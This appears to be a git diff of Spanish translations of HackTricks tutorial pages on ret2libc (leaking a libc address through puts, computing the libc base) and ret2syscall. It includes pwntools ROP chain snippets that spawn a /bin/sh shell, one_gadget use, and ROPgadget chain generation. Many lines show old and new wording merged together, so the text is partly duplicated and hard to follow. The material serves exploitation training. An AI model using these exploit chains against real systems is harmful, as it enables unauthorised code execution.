[rop-leaking-libc-template.md](rop-leaking-libc-template.md) [rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %} {% endcontent-ref %}
## 1- Encontrando el desplazamiento ## 1- Encontrar el offset
La plantilla necesita un desplazamiento antes de continuar con el exploit. Si no se proporciona ninguno, ejecutará el código necesario para encontrarlo (por defecto `OFFSET = ""`): La plantilla necesita un offset antes de continuar con el exploit. Si se proporciona alguno, ejecutará el código necesario para encontrarlo (por defecto `OFFSET = ""`):
```bash ```bash
################### ###################
### Find offset ### ### Find offset ###
@ -69,21 +70,21 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes #cyclic_find(0x6161616b) # Find the offset of those bytes
return return
``` ```
**Ejecuta** `python template.py` se abrirá una consola de GDB con el programa estrellado. Dentro de esa **consola de GDB** ejecuta `x/wx $rsp` para obtener los **bytes** que iban a sobrescribir el RIP. Finalmente, obtén el **desplazamiento** usando una consola de **python**: **Ejecuta** `python template.py` se abrirá una consola GDB con el programa que se está bloqueando. Dentro de esa **consola GDB** ejecuta `x/wx $rsp` para obtener los **bytes** que iban a sobrescribir el RIP. Finalmente, obtén el **offset** usando una consola de **python**:
```python ```python
from pwn import * from pwn import *
cyclic_find(0x6161616b) cyclic_find(0x6161616b)
``` ```
![](<../../../../.gitbook/assets/image (1007).png>) ![](<../../../../.gitbook/assets/image (1007).png>)
Después de encontrar el desplazamiento (en este caso 40), cambia la variable OFFSET dentro de la plantilla usando ese valor.\ Después de encontrar el offset (en este caso 40), cambia la variable OFFSET dentro de la plantilla usando ese valor.\
`OFFSET = "A" * 40` `OFFSET = "A" * 40`
Otra forma sería usar: `pattern create 1000` -- _ejecutar hasta ret_ -- `pattern search $rsp` desde GEF. Otra forma sería usar: `pattern create 1000` -- _ejecutar hasta ret_ -- `pattern seach $rsp` desde GEF.
## 2- Encontrar Gadgets ## 2- Encontrar Gadgets
Ahora necesitamos encontrar gadgets ROP dentro del binario. Estos gadgets ROP serán útiles para llamar a `puts` para encontrar la **libc** que se está utilizando, y luego para **lanzar el exploit final**. Ahora necesitamos encontrar gadgets ROP dentro del binario. Estos gadgets ROP serán útiles para llamar a `puts` para encontrar la **libc** que se está utilizando, y más tarde para **lanzar el exploit final**.
```python ```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main'] MAIN_PLT = elf.symbols['main']
@ -95,14 +96,14 @@ log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI)) log.info("pop rdi; ret gadget: " + hex(POP_RDI))
``` ```
El `PUTS_PLT` es necesario para llamar a la **función puts**.\ El `PUTS_PLT` es necesario para llamar a la **función puts**.\
El `MAIN_PLT` es necesario para llamar a la **función principal** nuevamente después de una interacción para **explotar** el desbordamiento **nuevamente** (rondas infinitas de explotación). **Se utiliza al final de cada ROP para llamar al programa nuevamente**.\ El `MAIN_PLT` es necesario para llamar a la **función main** nuevamente después de una interacción para **explotar** el desbordamiento **nuevamente** (rondas infinitas de explotación). **Se utiliza al final de cada ROP para llamar al programa nuevamente**.\
El **POP\_RDI** es necesario para **pasar** un **parámetro** a la función llamada. El **POP\_RDI** es necesario para **pasar** un **parámetro** a la función llamada.
En este paso no es necesario ejecutar nada, ya que todo será encontrado por pwntools durante la ejecución. En este paso no necesitas ejecutar nada, ya que todo será encontrado por pwntools durante la ejecución.
## 3- Encontrando la biblioteca libc ## 3- Encontrar la biblioteca libc
Ahora es el momento de encontrar qué versión de la biblioteca **libc** se está utilizando. Para hacerlo, vamos a **filtrar** la **dirección** en memoria de la **función** `puts` y luego vamos a **buscar** en qué **versión de la biblioteca** se encuentra la versión de puts en esa dirección. Ahora es el momento de encontrar qué versión de la **biblioteca libc** se está utilizando. Para hacerlo, vamos a **leak** la **dirección** en memoria de la **función** `puts` y luego vamos a **buscar** en qué **versión de la biblioteca** se encuentra la versión de puts en esa dirección.
```python ```python
def get_addr(func_name): def get_addr(func_name):
FUNC_GOT = elf.got[func_name] FUNC_GOT = elf.got[func_name]
@ -135,17 +136,17 @@ Para hacerlo, la línea más importante del código ejecutado es:
```python ```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
``` ```
Esto enviará algunos bytes hasta **sobrescribir** el **RIP** es posible: `OFFSET`.\ Esto enviará algunos bytes hasta que sea posible **sobrescribir** el **RIP**: `OFFSET`.\
Luego, establecerá la **dirección** del gadget `POP_RDI` para que la siguiente dirección (`FUNC_GOT`) se guarde en el registro **RDI**. Esto se debe a que queremos **llamar a puts** **pasándole** la **dirección** del `PUTS_GOT` ya que la dirección en memoria de la función puts se guarda en la dirección apuntada por `PUTS_GOT`.\ Luego, establecerá la **dirección** del gadget `POP_RDI` para que la siguiente dirección (`FUNC_GOT`) se guarde en el registro **RDI**. Esto se debe a que queremos **llamar a puts** **pasándole** la **dirección** de `PUTS_GOT` ya que la dirección en memoria de la función puts se guarda en la dirección apuntada por `PUTS_GOT`.\
Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y lo **imprima**.\ Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y **lo imprima**.\
Finalmente, se llama a la **función principal nuevamente** para que podamos explotar el desbordamiento nuevamente. Finalmente, **la función main se llama de nuevo** para que podamos explotar el desbordamiento nuevamente.
De esta manera hemos **engañado a la función puts** para que **imprima** la **dirección** en **memoria** de la función **puts** (que está dentro de la biblioteca **libc**). Ahora que tenemos esa dirección podemos **buscar qué versión de libc se está utilizando**. De esta manera hemos **engañado a la función puts** para que **imprima** la **dirección** en **memoria** de la función **puts** (que está dentro de la biblioteca **libc**). Ahora que tenemos esa dirección, podemos **buscar qué versión de libc se está utilizando**.
![](<../../../../.gitbook/assets/image (1049).png>) ![](<../../../../.gitbook/assets/image (1049).png>)
Como estamos **explotando** un binario **local** no es **necesario** averiguar qué versión de **libc** se está utilizando (solo encontrar la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\ Como estamos **explotando** algún binario **local**, **no es necesario** averiguar qué versión de **libc** se está utilizando (solo encuentra la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\
Pero, en caso de una explotación remota, explicaré cómo puedes encontrarlo aquí: Pero, en un caso de explotación remota, aquí explicaré cómo puedes encontrarla:
### 3.1- Buscando la versión de libc (1) ### 3.1- Buscando la versión de libc (1)
@ -168,13 +169,13 @@ Para que esto funcione necesitamos:
* Nombre del símbolo de libc: `puts` * Nombre del símbolo de libc: `puts`
* Dirección de libc filtrada: `0x7ff629878690` * Dirección de libc filtrada: `0x7ff629878690`
Podemos averiguar qué **libc** es la que más probablemente se está utilizando. Podemos averiguar qué **libc** es la que probablemente se está utilizando.
```bash ```bash
./find puts 0x7ff629878690 ./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64)
``` ```
Obtenemos 2 coincidencias (deberías probar la segunda si la primera no funciona). Descarga la primera: Obtenemos 2 coincidencias (debes intentar la segunda si la primera no funciona). Descarga la primera:
```bash ```bash
./download libc6_2.23-0ubuntu10_amd64 ./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64
@ -183,9 +184,9 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package -> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
``` ```
### 3.3- Otras funciones para filtrar Copia la libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` a nuestro directorio de trabajo.
Copia la libc desde `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` a nuestro directorio de trabajo. ### 3.3- Otras funciones para filtrar
```python ```python
puts puts
printf printf
@ -193,25 +194,25 @@ __libc_start_main
read read
gets gets
``` ```
## 4- Encontrar la dirección de la libc base y explotar ## 4- Encontrar la dirección de libc basada y explotar
En este punto deberíamos conocer la biblioteca libc utilizada. Como estamos explotando un binario local, usaré simplemente: `/lib/x86_64-linux-gnu/libc.so.6` En este punto, deberíamos conocer la biblioteca libc utilizada. Como estamos explotando un binario local, usaré solo: `/lib/x86_64-linux-gnu/libc.so.6`
Entonces, al principio de `template.py` cambia la variable **libc** a: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Establecer la ruta de la biblioteca cuando se conozca` Así que, al principio de `template.py`, cambia la variable **libc** a: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Establecer la ruta de la biblioteca cuando se conozca`
Proporcionando la **ruta** a la **biblioteca libc**, el resto de la **explotación se calculará automáticamente**. Al dar la **ruta** a la **biblioteca libc**, el resto de la **explotación se calculará automáticamente**.
Dentro de la función `get_addr` se calculará la **dirección base de libc**: Dentro de la función `get_addr`, se calculará la **dirección base de libc**:
```python ```python
if libc != "": if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address)) log.info("libc base @ %s" % hex(libc.address))
``` ```
{% hint style="info" %} {% hint style="info" %}
Ten en cuenta que la **dirección base final de libc debe terminar en 00**. Si no es tu caso, es posible que hayas filtrado una biblioteca incorrecta. Nota que **la dirección base final de libc debe terminar en 00**. Si ese no es tu caso, es posible que hayas filtrado una biblioteca incorrecta.
{% endhint %} {% endhint %}
Luego, la dirección de la función `system` y la **dirección** de la cadena _"/bin/sh"_ se van a **calcular** a partir de la **dirección base** de **libc** y la **biblioteca libc** proporcionada. Luego, la dirección de la función `system` y la **dirección** de la cadena _"/bin/sh"_ se van a **calcular** a partir de la **dirección base** de **libc** y dada la **biblioteca libc.**
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"] SYSTEM = libc.sym["system"]
@ -220,7 +221,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH)) log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM)) log.info("system %s " % hex(SYSTEM))
``` ```
Finalmente, la explotación de ejecución de /bin/sh va a ser preparada y enviada: Finalmente, se va a preparar el exploit de ejecución de /bin/sh:
```python ```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -230,26 +231,25 @@ p.sendline(rop2)
#### Interact with the shell ##### #### Interact with the shell #####
p.interactive() #Interact with the conenction p.interactive() #Interact with the conenction
``` ```
## Explicación del ROP final Vamos a explicar este ROP final.\
El último ROP (`rop1`) terminó llamando nuevamente a la función main, luego podemos **explotar nuevamente** el **desbordamiento** (por eso el `OFFSET` está aquí de nuevo). Luego, queremos llamar a `POP_RDI` apuntando a la **dirección** de _"/bin/sh"_ (`BINSH`) y llamar a la función **system** (`SYSTEM`) porque la dirección de _"/bin/sh"_ se pasará como un parámetro.\
Finalmente, se **llama** a la **dirección de la función exit** para que el proceso **salga correctamente** y no se genere ninguna alerta.
El último ROP (`rop1`) terminó llamando nuevamente a la función principal, por lo que podemos **explotar nuevamente** el **desbordamiento** (por eso el `OFFSET` está aquí nuevamente). Luego, queremos llamar a `POP_RDI` apuntando a la **dirección** de _"/bin/sh"_ (`BINSH`) y llamar a la función **system** (`SYSTEM`) porque la dirección de _"/bin/sh"_ se pasará como parámetro.\ **De esta manera, el exploit ejecutará un \_/bin/sh**\_\*\* shell.\*\*
Finalmente, se **llama a la dirección de la función exit** para que el proceso **finalice correctamente** y no se genere ninguna alerta.
**De esta manera, el exploit ejecutará un shell \_/bin/sh**.
![](<../../../../.gitbook/assets/image (165).png>) ![](<../../../../.gitbook/assets/image (165).png>)
## 4(2)- Usando ONE\_GADGET ## 4(2)- Usando ONE\_GADGET
También podrías usar [**ONE\_GADGET**](https://github.com/david942j/one_gadget) para obtener un shell en lugar de usar **system** y **"/bin/sh". ONE\_GADGET** encontrará dentro de la biblioteca libc alguna forma de obtener un shell usando solo una **dirección ROP**.\ También podrías usar [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) para obtener un shell en lugar de usar **system** y **"/bin/sh". ONE\_GADGET** encontrará dentro de la biblioteca libc alguna forma de obtener un shell usando solo una **dirección ROP**.\
Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL`. Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL adicionales para evitar la restricción. Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL`. Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL más para que se evite la restricción.
![](<../../../../.gitbook/assets/image (754).png>) ![](<../../../../.gitbook/assets/image (754).png>)
```python ```python
ONE_GADGET = libc.address + 0x4526a ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100 rop2 = base + p64(ONE_GADGET) + "\x00"*100
``` ```
## ARCHIVO DE EXPLOTACIÓN ## EXPLOIT FILE
Puedes encontrar una plantilla para explotar esta vulnerabilidad aquí: Puedes encontrar una plantilla para explotar esta vulnerabilidad aquí:
@ -267,32 +267,33 @@ objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
0000000000401080 <.text>: 0000000000401080 <.text>:
``` ```
y establecer la dirección manualmente: y establece la dirección manualmente:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
### Puts no encontrado ### Puts no encontrado
Si el binario no está utilizando Puts, debes verificar si está utilizando Si el binario no está utilizando Puts, deberías verificar si está utilizando
### `sh: 1: %s%s%s%s%s%s%s%s: not found` ### `sh: 1: %s%s%s%s%s%s%s%s: no encontrado`
Si encuentras este **error** después de crear **todo** el exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` Si encuentras este **error** después de crear **todo** el exploit: `sh: 1: %s%s%s%s%s%s%s%s: no encontrado`
Intenta **restar 64 bytes a la dirección de "/bin/sh"**: Intenta **restar 64 bytes a la dirección de "/bin/sh"**:
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Filtrando libc - plantilla # Filtrando libc - plantilla
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -206,25 +207,25 @@ P.interactive() #Interact with your shell :)
## Problemas comunes ## Problemas comunes
### MAIN_PLT = elf.symbols\['main'] no encontrado ### MAIN\_PLT = elf.symbols\['main'] no encontrado
Si el símbolo "main" no existe (probablemente porque es un binario reducido). Entonces simplemente puedes encontrar dónde está el código principal: Si el símbolo "main" no existe (probablemente porque es un binario eliminado). Entonces solo puedes encontrar dónde está el código principal:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
0000000000401080 <.text>: 0000000000401080 <.text>:
``` ```
y establecer la dirección manualmente: y establece la dirección manualmente:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
### Puts no encontrado ### Puts no encontrado
Si el binario no está utilizando Puts, debes **verificar si está utilizando** Si el binario no está utilizando Puts, deberías **verificar si está utilizando**
### `sh: 1: %s%s%s%s%s%s%s%s: not found` ### `sh: 1: %s%s%s%s%s%s%s%s: no encontrado`
Si encuentras este **error** después de crear **todo** el exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` Si encuentras este **error** después de crear **todo** el exploit: `sh: 1: %s%s%s%s%s%s%s%s: no encontrado`
Intenta **restar 64 bytes a la dirección de "/bin/sh"**: Intenta **restar 64 bytes a la dirección de "/bin/sh"**:
```python ```python
@ -235,16 +236,17 @@ BINSH = next(libc.search("/bin/sh")) - 64
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# Ret2syscall # Ret2syscall
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
Esto es similar a Ret2lib, sin embargo, en este caso no estaremos llamando a una función de una biblioteca. En este caso, todo estará preparado para llamar a la syscall `sys_execve` con algunos argumentos para ejecutar `/bin/sh`. Esta técnica generalmente se realiza en binarios compilados estáticamente, por lo que puede haber muchos gadgets e instrucciones de syscall. Esto es similar a Ret2lib, sin embargo, en este caso no estaremos llamando a una función de una biblioteca. En este caso, todo estará preparado para llamar a la syscall `sys_execve` con algunos argumentos para ejecutar `/bin/sh`. Esta técnica se realiza generalmente en binarios que están compilados estáticamente, por lo que puede haber muchos gadgets e instrucciones de syscall.
Para preparar la llamada a la **syscall** se necesita la siguiente configuración: Para preparar la llamada a la **syscall** se necesita la siguiente configuración:
* `rax: 59 Especifica sys_execve` * `rax: 59 Especificar sys_execve`
* `rdi: ptr a "/bin/sh" especifica el archivo a ejecutar` * `rdi: ptr a "/bin/sh" especificar archivo a ejecutar`
* `rsi: 0 especifica que no se pasan argumentos` * `rsi: 0 especificar que no se pasan argumentos`
* `rdx: 0 especifica que no se pasan variables de entorno` * `rdx: 0 especificar que no se pasan variables de entorno`
Por lo tanto, básicamente es necesario escribir la cadena `/bin/sh` en algún lugar y luego realizar la `syscall` (siendo conscientes del relleno necesario para controlar la pila). Para esto, necesitamos un gadget para escribir `/bin/sh` en un área conocida. Así que, básicamente, se necesita escribir la cadena `/bin/sh` en algún lugar y luego realizar la `syscall` (teniendo en cuenta el padding necesario para controlar la pila). Para esto, necesitamos un gadget para escribir `/bin/sh` en un área conocida.
{% hint style="success" %} {% hint style="success" %}
Otra syscall interesante para llamar es **`mprotect`** que permitiría a un atacante **modificar los permisos de una página en memoria**. Esto se puede combinar con [**ret2shellcode**](../../stack-overflow/stack-shellcode/). Otra syscall interesante para llamar es **`mprotect`** que permitiría a un atacante **modificar los permisos de una página en memoria**. Esto se puede combinar con [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
{% endhint %} {% endhint %}
## Gadgets de registros ## Gadgets de Registro
Comencemos encontrando **cómo controlar esos registros**: Comencemos por encontrar **cómo controlar esos registros**:
```bash ```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret 0x0000000000415664 : pop rax ; ret
@ -47,7 +48,7 @@ Con estas direcciones es posible **escribir el contenido en la pila y cargarlo e
### Memoria escribible ### Memoria escribible
Primero necesitas encontrar un lugar escribible en la memoria Primero necesitas encontrar un lugar escribible en la memoria.
```bash ```bash
gef> vmmap gef> vmmap
[ Legend: Code | Heap | Stack ] [ Legend: Code | Heap | Stack ]
@ -56,16 +57,16 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
``` ```
### Escribir una cadena en la memoria ### Escribir cadena en memoria
Entonces necesitas encontrar una forma de escribir contenido arbitrario en esta dirección Luego necesitas encontrar una manera de escribir contenido arbitrario en esta dirección.
```python ```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
``` ```
### Automatizar cadena ROP ### Automatizar la cadena ROP
El siguiente comando crea una cadena ROP completa de `sys_execve` dado un binario estático cuando hay gadgets de escribir-dónde-qué y instrucciones de llamada al sistema: El siguiente comando crea una cadena ROP completa `sys_execve` dada una binario estático cuando hay gadgets de write-what-where e instrucciones de syscall:
```bash ```bash
ROPgadget --binary vuln --ropchain ROPgadget --binary vuln --ropchain
``` ```
@ -91,8 +92,6 @@ rop += popRax
rop += p32(0x6b6000 + 4) rop += p32(0x6b6000 + 4)
rop += writeGadget rop += writeGadget
``` ```
#### 64 bits
#### 64 bits #### 64 bits
```python ```python
''' '''
@ -109,13 +108,15 @@ rop += popRax
